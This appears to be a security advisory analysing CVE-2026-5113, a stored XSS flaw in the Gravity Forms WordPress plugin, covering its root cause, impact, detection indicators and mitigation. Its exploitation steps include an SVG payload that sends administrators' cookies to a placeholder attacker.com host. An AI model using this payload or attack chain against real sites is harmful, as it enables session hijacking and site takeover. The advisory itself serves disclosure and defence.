CVE-2026-5113: 
WordPress vulnerability analysis and mitigation

CVE-2026-5113 is a Stored Cross-Site Scripting (XSS) vulnerability in the Gravity Forms plugin for WordPress, affecting versions up to and including 2.10.0. The flaw resides in the Consent field's hidden input handling, where a flawed state validation mechanism allows unauthenticated attackers to inject persistent malicious scripts that execute in authenticated administrators' browsers. It was published on May 2, 2026, with a CVSS v3.1 base score of 7.2 (High) (GitHub Advisory, Wordfence).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation). The vulnerability stems from a dual-hash state validation mechanism in Gravity Forms' Consent field: the plugin generates two hashes — one from raw input and one from wp_kses()-sanitized input — and only rejects the submission if both hashes fail to match the stored state. An attacker can craft a payload using HTML tags stripped by wp_kses() (e.g., <svg onload=alert(1)>), causing the sanitized hash to match while the raw malicious value is preserved and written to the database. When an administrator later views the Entries List page, the stored consent label is rendered without output escaping, triggering script execution (GitHub Advisory, Wordfence).

Successful exploitation allows unauthenticated attackers to persistently inject arbitrary JavaScript that executes in the context of authenticated WordPress administrators. This can lead to administrator account compromise, session token theft, unauthorized modification of site content or plugin configurations, and further lateral movement within the WordPress admin panel. Because the scope is marked as Changed, the impact extends beyond the vulnerable Gravity Forms component to the broader WordPress environment (GitHub Advisory, Wordfence).

As of the time of disclosure, there is no public proof-of-concept exploit and no evidence of in-the-wild exploitation (Wordfence). The EPSS score is approximately 0.011% (0.021% per GitHub Advisory), placing it in the 6th percentile for exploitation likelihood within 30 days. No threat actor attribution has been reported, and the vulnerability is not currently listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The attack requires no authentication and no user interaction from the attacker's perspective, though administrator interaction is needed to trigger payload execution (GitHub Advisory).

1. Reconnaissance: Identify WordPress sites using Gravity Forms versions ≤ 2.10.0 via passive fingerprinting (e.g., checking /wp-content/plugins/gravityforms/ paths or HTTP response headers).
2. Locate a form with a Consent field: Browse the target site to find a publicly accessible Gravity Forms form that includes a Consent field.
3. Craft a malicious payload: Prepare an XSS payload using tags stripped by wp_kses(), such as <svg onload=document.location='https://attacker.com/?c='+document.cookie>, embedded in the Consent field's hidden input value.
4. Submit the form: Submit the form with the crafted payload. The flawed dual-hash validation allows the raw malicious value to pass validation (since the wp_kses()-sanitized hash matches), and the payload is stored in the WordPress database.
5. Wait for administrator access: The payload remains dormant until an authenticated administrator navigates to the Entries List page in the WordPress admin panel.
6. Payload execution: When the administrator views the Entries List, the stored consent label is rendered without output escaping, causing the injected script to execute in the administrator's browser — enabling session hijacking, credential theft, or further admin-level actions (GitHub Advisory, Wordfence).

• Network: Outbound HTTP requests from the WordPress server or administrator's browser to unknown external domains shortly after accessing the Entries List page; unusual POST requests to Gravity Forms endpoints containing encoded SVG or other HTML tags in Consent field parameters.
• Logs: WordPress access logs showing form submissions with anomalous or encoded content in Consent field values; admin panel access logs showing repeated visits to the Entries List page followed by unexpected external requests.
• Database: Gravity Forms entry records in wp_gf_entry_meta or related tables containing raw HTML/JavaScript payloads (e.g., <svg, onerror=, onload=) in Consent field values.
• Browser/Session: Unexpected session token usage from unfamiliar IP addresses following administrator access to the Entries List page, potentially indicating session hijacking.

Update the Gravity Forms plugin to a version newer than 2.10.0, which contains the fix for this vulnerability (Gravity Forms Changelog). If immediate patching is not feasible, consider disabling Consent field usage in active forms or restricting access to the Entries List page to only essential administrators. Implementing a Content Security Policy (CSP) header can reduce the impact of stored XSS by limiting script execution sources. Additionally, audit existing form entries for suspicious content in Consent fields and remove any malicious entries found (Wordfence).

Wordfence, the vulnerability's assigner, published the disclosure and included it in their weekly WordPress vulnerability report for the period of April 27–May 3, 2026 (Wordfence Blog). RedPacket Security flagged the CVE via social media and their alerting service shortly after publication. General community reaction has been limited, consistent with the low EPSS score and absence of active exploitation evidence.